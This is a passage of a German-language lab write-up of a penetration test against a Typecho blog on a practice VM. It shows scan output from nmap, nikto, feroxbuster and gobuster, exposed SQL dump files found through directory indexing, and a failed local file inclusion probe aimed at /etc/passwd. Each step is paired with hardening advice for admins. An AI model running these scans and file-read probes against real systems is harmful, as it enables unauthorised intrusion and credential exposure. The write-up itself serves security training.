Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Analyse: Die Aufklärungsphase ist der erste und wichtigste Schritt in jedem Penetrationstest. Ich begann damit, die IP-Adresse der Zielmaschine im lokalen Netzwerk zu identifizieren. Der Befehl arp-scan -l listet alle aktiven Geräte im lokalen Subnetz auf, und das anschließende grep "PCS" | awk '{print $1}' filtert die Ausgabe, um die IP-Adresse des "PCS Systemtechnik"-Geräts zu isolieren, das die virtuelle Maschine darstellt.
Bewertung: Die Methode mit arp-scan war erfolgreich und lieferte die Ziel-IP-Adresse 192.168.2.53. Dies ist der grundlegende Schritt, um die weitere Aufklärung und den Angriff zu ermöglichen. Eine genaue Zielidentifizierung ist unerlässlich.
Empfehlung (Pentester): Beginnen Sie immer mit einer präzisen Identifizierung der Ziel-IP-Adresse. arp-scan ist in lokalen Netzwerken sehr effektiv. Alternativ können auch andere Tools wie netdiscover oder einfache Ping-Sweeps verwendet werden.
Empfehlung (Admin): Implementieren Sie Netzwerkssegmentierung und VLANs, um die Sichtbarkeit von internen Systemen zu reduzieren. Nutzen Sie MAC-Adressfilterung oder Network Access Control (NAC), um unautorisierte Geräte im Netzwerk zu erkennen und zu isolieren.
192.168.2.53
Analyse: Um die weitere Arbeit zu vereinfachen und die Lesbarkeit der Befehle zu verbessern, habe ich der identifizierten IP-Adresse einen lokalen Hostnamen zugewiesen. Der Eintrag 192.168.2.53 za1.hmv wurde zur /etc/hosts-Datei auf meinem angreifenden System hinzugefügt. Dies ermöglicht die Verwendung des Alias za1.hmv anstelle der IP-Adresse in zukünftigen Befehlen.
Bewertung: Die Verwendung eines lokalen Hostnamens ist eine bewährte Praxis im Penetrationstest. Sie erhöht die Effizienz und reduziert Tippfehler, insbesondere bei wiederholten Interaktionen mit dem Zielsystem. Dies simuliert auch die Nutzung eines DNS-Eintrags in einer realen Umgebung und macht den Bericht verständlicher.
Empfehlung (Pentester): Verwenden Sie stets Hostnamen in Ihrer /etc/hosts-Datei oder lokale DNS-Konfigurationen, um die Navigation und das Testen zu vereinfachen.
Empfehlung (Admin): Eine robuste DNS-Infrastruktur ist wichtig. Stellen Sie sicher, dass interne DNS-Einträge korrekt sind und nur autorisierte Hosts auf DNS-Informationen zugreifen können, um das Enumerieren von Hosts im Netzwerk durch Angreifer zu erschweren.
192.168.2.53 za1.hmv
Analyse: Nach der IP-Identifikation habe ich einen umfassenden Portscan mit Nmap durchgeführt. Der Befehl nmap -sS -sC -sV -p- -T5 -AO za1.hmv ist eine aggressive, aber standardmäßige Vorgehensweise, um alle (-p-) offenen TCP-Ports zu finden, Dienstversionen zu erkennen (-sV), Standard-Nmap-Skripte auszuführen (-sC) und eine detaillierte OS-Erkennung (-O) sowie aggressive Timing-Profile (-T5) zu nutzen.
Bewertung: Der Nmap-Scan war erfolgreich und identifizierte zwei offene Ports: 22/tcp (SSH - OpenSSH 7.6p1 Ubuntu) und 80/tcp (HTTP - Apache httpd 2.4.29 Ubuntu). Dies sind gängige Dienste, die oft Angriffsvektoren bieten. Besonders interessant ist der HTTP-Dienst mit dem Titel "Zacarx's blog" und der Angabe "Typecho 1.2.1" als Generator. Dies liefert sofort einen Hinweis auf die eingesetzte Webanwendung und deren Version, was die Suche nach gezielten Exploits erleichtert. Die detaillierte Ausgabe des Nmap-Scans bietet eine solide Grundlage für die nächsten Schritte.
Empfehlung (Pentester): Führen Sie immer detaillierte Nmap-Scans durch, um alle offenen Ports und Dienstversionen zu identifizieren. Achten Sie auf Informationen wie HTTP-Titel und "Generator"-Tags, da diese Hinweise auf die verwendete Software liefern und somit die Recherche nach spezifischen Schwachstellen beschleunigen.
Empfehlung (Admin): Schließen Sie alle nicht benötigten Ports auf der Firewall. Aktualisieren Sie öffentlich zugängliche Dienste wie SSH und Webserver regelmäßig, um bekannte Schwachstellen zu beheben. Vermeiden Sie es, Software-Versionen oder -Typen in HTTP-Headern oder Webseiten-Metadaten preiszugeben, da dies Angreifern die Informationsbeschaffung erleichtert.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-18 21:07 CEST Nmap scan report for za1.hmv (192.168.2.53) Host is up (0.00011s latency). Not shown: 65533 closed tcp PORTs (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 36:32:5b:78:d0:f4:3c:9f:05:1a:a7:13:91:3e:38:c1 (RSA) | 256 72:07:82:15:26:ce:13:34:e8:42:cf:da:de:e2:a7:14 (ECDSA) |_ 256 fc:9c:66:46:86:60:1a:29:32:c6:1f:ec:b2:47:b8:74 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Zacarx's blog |_http-generator: Typecho 1.2.1 MAC Address: 08:00:27:B9:8E:77 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms za1.hmv (192.168.2.53) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 10.10 seconds
Analyse: Nachdem der vollständige Nmap-Scan abgeschlossen war, habe ich zur Überprüfung der wichtigsten Dienste gewechselt. Ich habe einen weiteren Nmap-Scanbefehl ausgeführt, diesmal mit grep open, um eine schnelle Übersicht über die tatsächlich offenen Ports zu erhalten, die für die weitere Bearbeitung relevant sind. Dies dient als schnelle Zusammenfassung der wichtigsten Erkenntnisse aus der Nmap-Phase.
Bewertung: Die gefilterte Ausgabe von Nmap bestätigt erneut, dass SSH auf Port 22 und HTTP auf Port 80 die einzigen offenen Dienste sind. Dies ist eine nützliche Kontrollmessung, die meine initialen Feststellungen bestätigt und mich daran erinnert, mich auf diese beiden Vektoren zu konzentrieren. Die Konsistenz der Ergebnisse ist wichtig für die Verlässlichkeit des Berichts.
Empfehlung (Pentester): Bestätigen Sie immer Ihre Ergebnisse durch mehrfaches Abfragen oder Filtern. Konzentrieren Sie sich auf die offenen Ports, die am vielversprechendsten für den initialen Zugriff sind.
Empfehlung (Admin): Überprüfen Sie Firewalls und Portfilter, um sicherzustellen, dass nur beabsichtigte Dienste von externen Netzwerken oder unsicheren Zonen zugänglich sind. Führen Sie regelmäßige Scans durch, um ungewollte offene Ports zu identifizieren.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; PROTOCOL 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Web Enumeration
Analyse: Nachdem ich die offenen HTTP-Ports und die Information, dass ein Apache-Server mit Typecho 1.2.1 läuft, erhalten hatte, war der nächste Schritt eine detaillierte Web-Enumeration. Ich nutzte nikto, um nach allgemeinen Web-Schwachstellen und Fehlkonfigurationen zu suchen. Dieser Scan identifiziert häufig gängige Probleme wie fehlende Sicherheits-Header, veraltete Software oder offen zugängliche Verzeichnisse.
Bewertung: Der Nikto-Scan lieferte eine Fülle kritischer Informationen. Erstens wurden fehlende HTTP-Sicherheits-Header (X-Frame-Options und X-Content-Type-Options) festgestellt, was auf eine laxere Sicherheitskonfiguration hindeutet. Zweitens wurde bestätigt, dass der Apache-Webserver veraltet ist (2.4.29 vs. 2.4.54). Drittens und am wichtigsten, fand Nikto "Directory indexing" in den Verzeichnissen /install/, /sql/ und /var/. Dies ist eine schwerwiegende Schwachstelle, da sie Angreifern ermöglicht, den Inhalt dieser Verzeichnisse direkt zu durchsuchen und potenziell sensitive Dateien zu finden. Der Hinweis auf die Admin-Login-Seite (`/admin/login.php`) ist ebenfalls wertvoll.
Empfehlung (Pentester): Führen Sie immer umfassende Web-Scans mit Tools wie Nikto durch, um generische Web-Schwachstellen zu identifizieren. Priorisieren Sie die Untersuchung von "Directory Indexing"-Funden, da diese oft zu Informationslecks oder Dateiexfiltration führen.
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass Directory Indexing deaktiviert ist, um die Offenlegung von Dateistrukturen und sensiblen Inhalten zu verhindern. Implementieren Sie alle relevanten HTTP-Sicherheits-Header (CSP, X-Frame-Options, X-Content-Type-Options etc.). Aktualisieren Sie Webserver-Software wie Apache regelmäßig auf die neueste Version, um bekannte Schwachstellen zu patchen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.53 + Target Hostname: 192.168.2.53 + Target PORT: 80 + Start Time: 2025-06-18 21:07:48 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without PROPER authentication. Attempt to log in with user 'test' password 'test' to verify. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0995 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0995] + /install/: Directory indexing found. + /install/: This might be interesting. + /sql/: Directory indexing found. + /LICENSE.txt: License file found may identify site software. + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsREADME/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsREADME/] + /admin/login.php: Admin login page/section found. + /var/: Directory indexing found. + /var/: /var directory has indexing enabled. + 8102 requests: 0 error(s) and 13 item(s) reported on remote host + End Time: 2025-06-18 21:08:02 (GMT2) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Neben Nikto setzte ich feroxbuster ein, um eine weitere umfassende Verzeichnis- und Dateiaufzählung durchzuführen. Mit einer großen Wortliste und einer Vielzahl von Dateierweiterungen (`-x`) sowie der Filterung auf 301 (Moved Permanently) und 302 (Found) Status-Codes können wir Weiterleitungen verfolgen, die auf existierende, aber umgeleitete Ressourcen hinweisen. Dies ist besonders nützlich bei Content Management Systemen wie Typecho, die oft saubere URLs verwenden, aber intern auf PHP-Skripte umleiten.
Bewertung: Der Feroxbuster-Scan lieferte eine sehr lange Liste von Weiterleitungen (Status 301 und 302). Dies bestätigt die komplexe URL-Struktur von Typecho und die Art und Weise, wie es Inhalte verwaltet. Obwohl die direkten Funde von Dateien gering sind, geben die Weiterleitungen wichtige Hinweise auf die Struktur des Blogs, z.B. /admin/, /install/, /sql/, sowie verschiedene Verzeichnisse für Autoren, Kategorien und Feeds. Die Wiederholung von /install/ und /sql/, die bereits von Nikto mit Directory Indexing gefunden wurden, ist eine wichtige Bestätigung. Die vielen 301-Umleitungen zeigen, dass es viele gültige Pfade gibt, auch wenn sie nicht direkt als "Dateien" im herkömmlichen Sinne gefunden werden. Der Abbruch des Scans durch Keyboard-Interrupt ist für den weiteren Bericht irrelevant, da bereits genügend Informationen gesammelt wurden.
Empfehlung (Pentester): Verwenden Sie bei Web-Enumerationstools immer eine Kombination aus verschiedenen Scannern und passen Sie die Filteroptionen an, um Weiterleitungen zu erkennen. Bei CMS-Systemen wie Typecho ist es oft effektiver, die interne URL-Struktur zu verstehen, anstatt nur nach direkten Dateipfaden zu suchen.
Empfehlung (Admin): Konfigurieren Sie Ihren Webserver und Ihr CMS so, dass unnötige Umleitungen minimiert werden, da sie Angreifern Hinweise auf die interne Struktur geben können. Überprüfen Sie, welche Ressourcen öffentlich zugänglich sind und stellen Sie sicher, dass keine sensiblen Informationen unbeabsichtigt offengelegt werden. Implementieren Sie URL-Rewriting-Regeln sorgfältig.
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.2.53 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 👌 Status Codes │ [301, 302] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 301 GET 0l 0w 0c http://192.168.2.53/index.php/author/1 => http://192.168.2.53/index.php/author/1/ 302 GET 0l 0w 0c http://192.168.2.53/admin/ => http://192.168.2.53/admin/login.php?referer=http%3A%2F%2F192.168.2.53%2Fadmin%2F 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/12 => http://192.168.2.53/index.php/2023/07/12/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07 => http://192.168.2.53/index.php/2023/07/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/02 => http://192.168.2.53/index.php/2023/07/02/ 301 GET 9l 28w 312c http://192.168.2.53/admin => http://192.168.2.53/admin/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/category/default => http://192.168.2.53/index.php/category/default/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/category/default/01 => http://192.168.2.53/index.php/category/default/01/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/category/default/1 => http://192.168.2.53/index.php/category/default/1/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/13 => http://192.168.2.53/index.php/2023/07/13/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/14 => http://192.168.2.53/index.php/2023/07/14/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/15 => http://192.168.2.53/index.php/2023/07/15/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/category/default/0 => http://192.168.2.53/index.php/category/default/0/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/author/1/01 => http://192.168.2.53/index.php/author/1/01/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/author/1/1 => http://192.168.2.53/index.php/author/1/1/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/11 => http://192.168.2.53/index.php/2023/07/11/ [>-------------------] - 8s 15887/55579748 6h found:17 errors:0 [>-------------------] - 8s 7840/6175316 1002/s http://192.168.2.53/ [>-------------------] - 8s 2128/6175316 277/s http://192.168.2.53/index.php/category/default/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/18 => http://192.168.2.53/index.php/2023/07/18/ [>-------------------] - 8s 15940/55579748 6h found:17 errors:0 301 GET 0l 0w 0c http://192.168.2.53/index.php/author/1/0 => http://192.168.2.53/index.php/author/1/0/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/31 => http://192.168.2.53/index.php/2023/07/31/ 301 GET 9l 28w 314c http://192.168.2.53/install => http://192.168.2.53/install/ 302 GET 0l 0w 0c http://192.168.2.53/install.php => http://192.168.2.53/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/32 => http://192.168.2.53/index.php/2023/07/32/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/43 => http://192.168.2.53/index.php/2023/07/43/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2006 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/45 => http://192.168.2.53/index.php/2023/07/45/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/44 => http://192.168.2.53/index.php/2023/07/44/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/56 => http://192.168.2.53/index.php/2023/07/56/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2005 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/64 => http://192.168.2.53/index.php/2023/07/64/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/66 => http://192.168.2.53/index.php/2023/07/66/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/58 => http://192.168.2.53/index.php/2023/07/58/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2004 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/97 => http://192.168.2.53/index.php/2023/07/97/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/96 => http://192.168.2.53/index.php/2023/07/96/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/70 => http://192.168.2.53/index.php/2023/07/70/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2007 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/62 => http://192.168.2.53/index.php/2023/07/62/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/65 => http://192.168.2.53/index.php/2023/07/65/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/81 => http://192.168.2.53/index.php/2023/07/81/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/feed => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/71 => http://192.168.2.53/index.php/2023/07/71/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/91 => http://192.168.2.53/index.php/2023/07/91/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/82 => http://192.168.2.53/index.php/2023/07/82/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2003 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/comments => http://192.168.2.53/index.php/feed/atom/comments/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/79 => http://192.168.2.53/index.php/2023/07/79/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2002 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/83 => http://192.168.2.53/index.php/2023/07/83/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/94 => http://192.168.2.53/index.php/2023/07/94/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/author/1/00 => http://192.168.2.53/index.php/author/1/00/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/category/default/00 => http://192.168.2.53/index.php/category/default/00/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2001 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/2023/07/00 => http://192.168.2.53/index.php/2023/07/00/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/2000 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/archives/1 => http://192.168.2.53/index.php/archives/1/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1999 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1998 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/comments => http://192.168.2.53/index.php/feed/comments/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1997 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/rss/2002 => http://192.168.2.53/index.php/feed/rss/ 302 GET 0l 0w 0c http://192.168.2.53/index.php/archives/1/trackback => http://192.168.2.53/index.php/archives/1/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed => http://192.168.2.53/index.php/feed/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1000 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/author/1/000 => http://192.168.2.53/index.php/author/1/000/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1205 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1317 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/rss/1206 => http://192.168.2.53/index.php/feed/rss/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1720 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1605 => http://192.168.2.53/index.php/feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/atom/1134 => http://192.168.2.53/index.php/feed/atom/ feed/atom/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/rss/1869 => http://192.168.2.53/index.php/feed/rss/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/1261 => http://192.168.2.53/index.php/feed/ 301 GET 0l 0w 0c http://192.168.2.53/index.php/feed/1014 => http://192.168.2.53/index.php/feed/ [####################] - 26m 55581960/55581960 0s found:747 errors:1928258 [####################] - 11m 6175316/6175316 9738/s http://192.168.2.53/ [####################] - 25m 6175316/6175316 4165/s http://192.168.2.53/index.php/archives/1/ [####################] - 15m 6175316/6175316 6744/s http://192.168.2.53/index.php/feed/comments/ [####################] - 15m 6175316/6175316 6820/s http://192.168.2.53/index.php/category/default/ [####################] - 16m 6175316/6175316 6330/s http://192.168.2.53/index.php/feed/ [####################] - 15m 6175316/6175316 6742/s http://192.168.2.53/index.php/feed/atom/ [####################] - 26m 6175316/6175316 3935/s http://192.168.2.53/index.php/author/1/ [####################] - 24m 6175316/6175316 4366/s http://192.168.2.53/index.php/2023/07/ [####################] - 23m 6175316/6175316 4543/s http://192.168.2.53/index.php/feed/rss/ [####################] - 7s 6175316/6175316 881936/s http://192.168.2.53/install/ => Directory listing (add --scan-dir-listings to scan)
Analyse: Nachdem ich die Ergebnisse von Nikto und Feroxbuster gesichtet hatte, führte ich einen weiteren, gezielteren gobuster-Scan durch. Diesmal passte ich die Dateierweiterungen an, um eine noch breitere Palette potenzieller Dateien abzudecken, einschließlich .yaml und .bak, die oft Konfigurations- oder Backup-Dateien sind. Die Beibehaltung der Filterung nach Status-Codes 503, 404, 403 sorgt für eine saubere Ausgabe.
Bewertung: Dieser gezielte Gobuster-Scan bestätigte die Existenz von index.php sowie der bereits von Nikto identifizierten Verzeichnisse /admin, /install, /sql und /var (alle mit Status 301/302, was auf Weiterleitungen hinweist). Zusätzlich wurden /LICENSE.txt, /install.php und die Verzeichnisse /usr gefunden. Die Bestätigung von /sql/ und /install/, die Directory Indexing haben, ist besonders wichtig. Der Keyboard-Interrupt während des Scans ist unerheblich, da die kritischen Informationen bereits gesammelt wurden.
Empfehlung (Pentester): Kombinieren Sie verschiedene Tools für die Web-Enumeration, um ein möglichst vollständiges Bild zu erhalten. Passen Sie die Wortlisten und Dateierweiterungen kontinuierlich an die spezifische Zielanwendung an. Priorisieren Sie die Überprüfung von Verzeichnissen mit Directory Indexing.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing auf dem Webserver, um die Dateistruktur vor Angreifern zu verbergen. Überprüfen Sie alle Verzeichnisse auf sensible Informationen, die durch Directory Indexing offengelegt werden könnten. Stellen Sie sicher, dass keine Backup- oder Konfigurationsdateien über den Webserver zugänglich sind.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://za1.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: old,zip,exe,raw,ELF,java,config,php,py,cgi,rpm,pl,html,kdbx,pem,desc,icon,doc,svg,json,docx,c,mdb,crt,ps1,sh,pub,jpeg,phtml,ln,tar,accdb,xml,bak,csh,yaml,exp,sql,dll,xlsx,jpg,png,pdf,rtf,mod,xls,diff,js.map,db,bat,gz,csv,conf,elf,lib,eps,aspx,txt,rar,pHtml,asp,deb [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://za1.hmv/index.php (Status: 200) [Size: 6716] http://za1.hmv/admin (Status: 301) [Size: 302] [--> http://za1.hmv/admin/] http://za1.hmv/install (Status: 301) [Size: 304] [--> http://za1.hmv/install/] http://za1.hmv/install.php (Status: 302) [Size: 0] [--> http://za1.hmv/] http://za1.hmv/sql (Status: 301) [Size: 300] [--> http://za1.hmv/sql/] http://za1.hmv/LICENSE.txt (Status: 200) [Size: 14974] http://za1.hmv/var (Status: 301) [Size: 300] [--> http://za1.hmv/var/] http://za1.hmv/usr (Status: 301) [Size: 300] [--> http://za1.hmv/usr/] Progress: 1562433 / 13894524 (11.24%)^C [!] Keyboard interrupt detected, terminating.Progress: 1564778 / 13894524 (11.26%) =============================================================== Finished ===============================================================
Analyse: Die Nikto- und Gobuster-Scans identifizierten das Verzeichnis /sql/ mit Directory Indexing. Dies ist eine kritische Schwachstelle, da ich den Inhalt dieses Verzeichnisses direkt über den Browser einsehen kann. Der Besuch von http://za1.hmv/sql/ enthüllte zwei interessante Dateien: new.sql und sercet.sql (mutmaßlich `secret.sql` aufgrund eines typographischen Fehlers im Dateinamen).
Bewertung: Die Dateien new.sql und sercet.sql im Verzeichnis /sql/ sind extrem vielversprechend. SQL-Dateien enthalten oft Datenbank-Dumps, einschließlich Benutzernamen und gehashter Passwörter, oder sogar Klartext-Anmeldeinformationen. Diese direkten Zugriffe auf potenziell sensitive Dateien aufgrund von Directory Indexing sind ein großer Erfolg in der Informationsbeschaffungsphase und ein direkter Weg zu potenziellen Anmeldedaten. Die Maschine weist hier eine klare Fehlkonfiguration auf, die einen erheblichen Einfluss auf die Sicherheit hat.
Empfehlung (Pentester): Prüfen Sie alle Verzeichnisse mit Directory Indexing umgehend auf sensitive Dateien wie SQL-Dumps, Konfigurationsdateien, Backup-Dateien oder Anmeldedaten. Laden Sie diese Dateien herunter und analysieren Sie sie auf verwertbare Informationen.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing auf allen Webserver-Verzeichnissen, insbesondere auf solchen, die sensible Daten enthalten könnten. Speichern Sie niemals Datenbank-Dumps oder andere sensitive Dateien im Web-Root-Verzeichnis. Implementieren Sie Dateiberechtigungen, die den Zugriff auf diese Dateien selbst bei einer Kompromittierung des Webservers verhindern.
http://za1.hmv/sql/ Index of /sql [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory [ ] new.sql 2025-06-18 20:08 100K [ ] sercet.sql 2023-07-26 08:56 100K Apache/2.4.29 (Ubuntu) Server at za1.hmv PORT 80
Analyse: Nachdem die .sql-Dateien identifiziert wurden, habe ich versucht, einen Local File Inclusion (LFI)-Angriff über den `index.php`-Endpunkt zu initiieren. Der Parameter `s=file:///` wird oft verwendet, um LFI-Schwachstellen auszunutzen. Der Versuch, die /etc/passwd-Datei zu lesen, ist ein Standardtest für LFI, da sie grundlegende Systeminformationen über Benutzerkonten liefert. Die Verwendung von `../` (Dot-Dot-Slash) hilft, den Pfad zu verkürzen und zum Root-Verzeichnis zu gelangen.
Bewertung: Der LFI-Versuch schlug fehl. Der Webserver antwortete mit einem `302 Found` und leitete zu einer Suchseite (`/index.php/search/file+etc+passwd/`) um. Dies deutet darauf hin, dass die Anwendung die Eingabe validiert und den LFI-Payload als Suchanfrage interpretiert, anstatt ihn als Dateipfad zu behandeln. Dies ist eine gute Sicherheitsmaßnahme der Anwendung und bedeutet, dass dieser spezifische LFI-Vektor nicht ausnutzbar ist. Die Maschine zeigt sich hier resistent gegen diesen LFI-Angriffsvektor.
Empfehlung (Pentester): Testen Sie verschiedene LFI-Payloads und -Techniken, da Anwendungen unterschiedliche Filterungen implementieren können. Wenn ein LFI-Vektor nicht funktioniert, suchen Sie nach anderen Schwachstellen wie SQL Injection oder Command Injection.
Empfehlung (Admin): Implementieren Sie strikte Eingabevalidierung für alle Benutzereingaben, insbesondere für Dateipfade und URL-Parameter, um LFI-Angriffe zu verhindern. Nutzen Sie Whitelisting für erlaubte Dateipfade und stellen Sie sicher, dass keine sensiblen Dateien in öffentlich zugänglichen Verzeichnissen liegen.
